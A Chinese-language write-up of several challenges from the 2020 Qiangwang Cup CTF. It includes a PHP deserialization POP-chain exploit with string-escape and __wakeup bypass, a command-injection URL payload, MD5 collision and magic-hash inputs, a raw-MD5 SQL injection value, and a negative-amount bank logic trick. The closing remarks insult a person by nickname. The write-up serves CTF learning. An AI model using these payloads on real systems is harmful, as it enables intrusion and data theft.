2020第四屆"強網杯"線上賽部分題解
前言
肝了兩天,日常被虐,這裡記錄一下做出來的幾道題,真*web是一個都沒解出來,感覺還是tcl!!!,還得繼續努力啊
web輔助
題目直接給了原始碼,有四個檔案,程式碼比較少。
主要考查:反序列化字串逃逸,繞過wakeup,還有一些小技巧
反序列的基礎知識可以參考之前的部落格:
https://www.cnblogs.com/lceFIre/p/12602233.html
關於反序列化字串逃逸可以參考這兩位師傅的文章:
https://www.cnblogs.com/magic-zero/p/11643916.html
分析一下程式碼
index.php
<?php @error_reporting(0); require_once "common.php"; require_once "class.php"; if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ?>
這個檔案主要就是接收了兩個引數,這兩個引數可控,然後利用這兩個引數例項化player物件,並且會將其序列化後的內容寫入caches目錄下的一個檔案
common.php
<?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?>
這裡定義了三個函式,read和write的進行了字串替換會導致逃逸,我們可以在username傳入\0*\0 這樣它在寫入的時候長度沒變是5個字元,但是read讀取的時候會替換為 chr(0)."*".chr(0) 變成了3個字元,反序列化的時候就會向後吃掉2個字元導致後面的字元逃逸,check函式主要就是過濾了大小寫的name,只要匹配到就返回Name Pass,這個在反序列化的時候,需要繞過
play.php
<?php @error_reporting(0); require_once "common.php"; require_once "class.php"; @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); print_r($player); if ($player->get_admin() === 1){ echo "FPX Champion\n"; } else{ echo "The Shy unstoppable\n"; } ?>
這個檔案就是存在反序列化點的地方,它會讀取之前index.php寫入的序列化值然後反序列化,注意中間有一個check檢測
class.php
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
這裡定義了四個類,很明顯需要我們執行 jungle 的 KS() 來獲取flag
思路:
首先構造需要逃逸的物件,將其作為password
那麼找一下pop鏈:
jungle 的 __toString() 中呼叫了 KS() ,然後 midsolo 的 Gank() 中在 stristr 處進行了字串的匹配,如果令 $this->name 為 jungle 類,就能觸發 __toString() ,然後 Gank() 是在 midsolo 的 __invoke() 裡被呼叫,接著 topsolo 的TP() 中在 $name() ; 處,可以令 $name 為midsolo 類,就能觸發 __invoke() ,然後 topsolo 的 __destruct() 那裡會呼叫TP() ,最後就是思考怎麼呼叫destruct?
payload
<?php
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
}
class topsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
}
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
$a=new jungle();
$b=new midsolo($a);
$c=new topsolo($b);
$d=array();
$d[0]=$c;
$d[1]=2;
$e=serialize($d);
//echo $e."\n";
$f=str_replace('Lee Sin";}}}i:1;','lceFIre";}}}i:0;',$e);
$f=str_replace('midsolo":1:{s','midsolo":2:{s',$f);
echo $f;
?>
執行得到
a:2:{i:0;O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":2:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:7:"lceFIre";}}}i:0;i:2;}
裡面 * 兩邊的空格實際上是空字元,通常在傳參的時候可以用%00代替
注意指令碼最後的兩個替換
第一個是為了利用php反序列的冗餘來銷燬物件觸發 __destruct()
簡單來說就是:反序列化的時候如果傳入一個序列化的陣列,並且這個陣列中存在兩個或多個key相等的變數,那麼反序列化的時侯將刪除首先輸入的變數。
比如下面這個序列化值:
a:2:{i:0;O:1:"B":0:{}i:1;i:1;}
這是一個正常的陣列序列化後的值,表示這個陣列有兩個值,第一個鍵是0,對應的值是一個物件,第二個鍵是1,對應的值是數值1
這裡我們把第二個鍵改為0
a:2:{i:0;O:1:"B":0:{}i:0;i:1;}
這裡如果在將其反序列化,那麼 B 物件會作為value冗餘,如果B類存在__destruct(),則會呼叫 __destruct(),而不會導致反序列化錯誤,即先解析 O:1:"B":0:{} 生成一個物件,然後在向後解析又遇到 i:0 於是將前一個 i:0 的值改為1,就相當於消滅了之前生成的物件於是觸發__destruct函式,之後也是冗餘的關係使得反序列化的結果返回的是 array(0=>1)
第二個是為了繞過midsolo的 __wakeup(),只需要修改物件屬性的個數就行,不然我們構造的 midsolo 的 $this->name 屬性會被重置
還有需要注意的地方
就是我們上面構造的payload中很明視訊記憶體在name字元,會被check()檢測出來
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
引用一下之前在 https://www.gem-love.com/ctf/2184.html部落格中學到的方法
這裡可以將序列化裡的字串改寫成十六進位制,也就是將表示字串用的s寫成大寫S,這樣private屬性後面的%00這個不可見字元就能寫成\00(如果是小寫s 這個\00表示一個斜線和兩個0 是三個字元,而大寫S會把\00解析成%00(1個字元的空字元))
因此我們可以將上面payload中所有的
s:7:" * name";
改為
S:7:"\00*\00\6eame";
\6e表示 n ,這樣就可以繞過check
即
a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}
然後將上面構造好的pop鏈當作password傳入,生成一個正常的player物件方便觀察
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
}
$username = '111';
$password = 'a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}';
$a=new player($username,$password);
$b=serialize($a);
echo $b;
?>
得到
O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}
然後為了便於吃掉字元,同時要保證序列化的資料語法正確我們可以新增
lceFIre";s:8:"\0*\0admin";
得到
O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}
於是password應該為
lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}
這樣需要被吃掉的字元就是
";s:7:" * pass";s:145:"lceFIre
長度為30,因此我們的username需要傳入15個 \0*\0
最後先向index.php頁面提交payload
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}
然後訪問play.php得到flag
主動
這題感覺是除簽到以外最簡單的了
訪問得到原始碼
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
payload
?ip=127.0.0.1|tac fla''g.php
Funhash
訪問得到
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
主要考的就是各種md5的比較
在第一關卡了蠻久後來找到相關的文章
https://www.dazhuanlan.com/2020/01/17/5e2103fc1e45f/
payload
hash1=0e251288019
方法就是用指令碼爆破
<?php
for ($i = 0;; $i++) {
$req = "0e" . $i;
$md4 = hash("md4", $req);
if (preg_match("/^0e[0-9]*$/", $md4)) {
echo $req . "n";
break;
}
}
?>
要跑蠻久
第二關
md5全等碰撞
hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7
用陣列繞過好像也可以
第三關
參考這位師傅的部落格
https://blog.csdn.net/March97/article/details/81222922
hash4=129581926211651571912466741651878684928
最終payload
?hash1=0e251288019&hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7&hash4=129581926211651571912466741651878684928
bank
給了nc,連線返回
sha256(XXX+aJl8GWbgSdealQbg8) == e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c
Give me XXX:
只有三位寫個指令碼爆破一下
# -*- coding: utf-8 -*-
import requests
import hashlib
def sha256(data):
datas = data + text
sha256 = hashlib.sha256()
sha256.update(datas.encode())
res = sha256.hexdigest()
return res
def main():
for ch1 in string_list:
for ch2 in string_list:
for ch3 in string_list:
guess_data = ch1+ch2+ch3
res = sha256(guess_data)
if res == text_encode :
print(guess_data)
break
if __name__ == '__main__':
string_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
text = '''
aJl8GWbgSdealQbg8
'''
text = text.replace("\n",'')
text = text.replace(' ','')
text_encode = '''
e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c
'''
text_encode = text_encode.replace("\n",'')
text_encode = text_encode.replace(' ','')
main()
然後提交token,隊伍名,之後返回
your cash:10
you can choose: transact, view records, provide a record, get flag, hint
>
五個功能都試了一下
your cash:10
you can choose: transact, view records, provide a record, get flag, hint
> hint
def transact_ecb(key, sender, receiver, amount):
aes = AES.new(key, AES.MODE_ECB)
ct = b""
ct += aes.encrypt(sender)
ct += aes.encrypt(receiver)
ct += aes.encrypt(amount)
return ct
> get flag
you need pay 1000 for the flag!
don't have enough money!
> provide a record
My system is secure if you can give me other records, the receiver can also get the money.
>
> view records
there are some transactions and the transaction amount is more than 100
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b4cf1ba64a0b3ae74105673b53f26b8561
daf24c67188fbd3a8e4828ec5ec8a4b4daf24c67188fbd3a8e4828ec5ec8a4b47ebd45ab3e87afd321306dff981cdc68
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b5352687700b12564b4c7efaccfdeac935b57
4018265660a40a7f5b9127e2808b53524018265660a40a7f5b9127e2808b5352e8218f6e40154ac26ac8fc6cde319272
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b457661409079b2f705f0774edd5066390
daf24c67188fbd3a8e4828ec5ec8a4b46728832df7d17a7814d58ecb14e57f6a0119a3b00d0c81e677236d17291cc7a5
6728832df7d17a7814d58ecb14e57f6a4018265660a40a7f5b9127e2808b53529c09f9c368af563f7daa22e8ab044bfb
6728832df7d17a7814d58ecb14e57f6a6728832df7d17a7814d58ecb14e57f6aa0ab1b6d7933d4353d3d54d9ac85c1b7
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b535215597c6206d6e4bb4af19044dbcc0f28
b3ae353be7116f4ad433c63470f59100b3ae353be7116f4ad433c63470f591003fd886c9b310839d1e34b1cbf3675b49
> transact
please give me the trader and the amount(for example:Alice 1)
>
簡單來說就是要1000塊錢才給flag,正常做到這一步只有10塊錢
然後provide a record那裡可以賺錢但需要提供其它的交易記錄,這裡不知道其他人的token,隊伍感覺無法獲得交易記錄 ~~~實際上可以偽造只是我不會哈哈
hint 裡是 AES 加密,看了半天沒看出什麼,放棄,當時有很多人做出來這題,一度以為這個hint是在欺騙我,肯定有其它的騷操作
然後transact那裡,可以提供交易者和金額進行交易(例如:Alice 1)
試了一下
Alice 1
返回
please give me the trader and the amount(for example:Alice 1)
> Alice 1
16fcc2ccf8d4e9a656f967426c0248e6bea5d307800e76cded1e37ee3c9ce62ecc6ad27f389ca5f01b9fffb2e4838c97
your cash:9
you can choose: transact, view records, provide a record, get flag, hint
>
發現我變成9塊錢了。。。
後來試了很久,hint提示的aes感覺也不能爆破,最後想著既然有個Alice的列子,那這個Alice肯定有很多錢(估計有很多人把錢轉給Alice),於是測試
Alice -1000
看會不會倒過來把錢轉給我,然後竟然真的拿到錢了,最後在選擇get flag就行
後記
比賽第二天遇到了很搞人心態的事,當時也是氣急,就去很多群找了某個名叫 “你可真skr有趣人兒” 的傻逼,具體的事睡了一覺後也懶得想,越想越氣